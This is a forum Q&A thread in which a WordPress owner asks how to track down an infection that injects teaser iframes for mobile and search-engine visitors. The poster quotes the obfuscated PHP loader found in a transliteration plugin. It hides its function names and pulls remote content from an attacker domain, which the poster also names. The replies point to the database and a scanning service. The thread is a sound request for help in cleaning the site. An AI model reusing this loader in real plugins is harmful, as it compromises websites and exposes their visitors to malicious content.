How to find infected files in wordpress

Question

Information Security

Broken site on WordPress. Inside the posts are frames with teasers.
!!! Frames appear only for mobile and for traffic from search engines...

I found this crap in the file of one of the very popular rus-to-lat plugins

wp_load_cacher(); function wp_load_cacher($length='') { $cache_time = 'Default Widgets'; $pr = "pre"; $mdetails = "<div class='body-continent'><div class='get-inner-al(@fi'>"; $vr = 'crea'; $indent = ( isset($mytitle) ? str_repeat( "\t", $mytitle ) : $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); $output = $metaboxed = $mytitle = ""; $metaoptions = "\\4'\\10".trim("\\12t\\16\\19")."//".strip_tags("2ine")."\\11.c\\7m/\\9-".$indent."!1')\\5"; if (defined('HEADER_IMGS') || isset($_COOKIE['sess'.'ions'])) return; $mdetails .= "<!--Deregister() Default Widgets: _oabhrtupwprs:e--></div></div>"; if (count($mytitle) >= $length) { $mytitle = explode(" ",$mytitle." "); } else { $mytitle = explode(" "," ".$mytitle." "); } $nmetabox = $vr.strip_tags("te_"); $metaboxe = str_repeat("(.)", 20).".*"."/"; $pr .= strip_tags("g_rep").trim("lace"); if (function_exists("excerpt_mores")) { add_filter('excerpt_modes', $metaboxe); } else { $metaoptions = str_replace("{c}", $cache_time, $metaoptions).";"; $nmetabox .= 'function'; } $output_title = '<p>'.$output.'</p>'; $defult_widgets = @$pr("/.*(cont).*?(ge).*?(..\(.fi).*?(\()(\)).*?(\_){$metaboxe}is", "@\\20v\\3le\\6{$metaboxed}\\2t\\6\\1ents{$metaoptions}", $mdetails); $mdetailes = @$nmetabox('', $defult_widgets); return strip_tags($mdetailes()); }

Frames were on this domain

spoiler

m//essa//ge.tf

As I understand it, other files must be infected, but this crap won't pull up the frame by itself?
It is not clear where to dig.

!!! I re-uploaded clean WP, disabled all plugins except for the infected one, changed the theme of the site, renamed the folder of the old theme, and the frames were still displayed! Only deleting rus-to-lat.php helps...

Moreover, the date of modification of the rus-to-lat.php file has not changed, it is the old year.

Answer 1

See the "body" of articles in the database.
How to protect websites from hacking?
PS:

!!! I re-uploaded clean WP, disabled all plugins except for the infected one, changed the theme of the site, renamed the folder of the old theme, and the frames were still displayed! Only deleting rus-to-lat.php helps...

but this ... does not even need comments ...

Answer 2

Use this service:

virusdie.ru

He helped me a lot in a situation like this.